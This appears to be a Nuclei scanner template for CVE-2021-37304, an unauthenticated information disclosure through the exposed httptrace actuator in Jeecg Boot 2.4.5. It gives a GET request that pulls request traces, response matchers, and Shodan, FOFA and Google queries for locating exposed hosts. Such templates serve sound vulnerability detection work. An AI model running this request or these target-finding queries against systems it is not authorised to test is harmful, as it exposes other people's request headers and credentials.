id: CVE-2021-37304

info:
  name: Jeecg Boot <= 2.4.5 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Jeecg Boot to a version higher than 2.4.5 to mitigate the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2793
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37304
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37304
    cwe-id: CWE-732
    epss-score: 0.04013
    epss-percentile: 0.89238
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/actuator/httptrace/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"traces":['
          - '"headers"'
          - '"request":{'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022068c199eca0bb6e5b516f0879c89bd6cf7a154a373986b3b0a07ae8b3d65d0afa0221008488c1618b9d3f9909e31d14facc9fc775339d90c01be169bdad8d21462cb30e:922c64590222798bb761d5b6d8e72950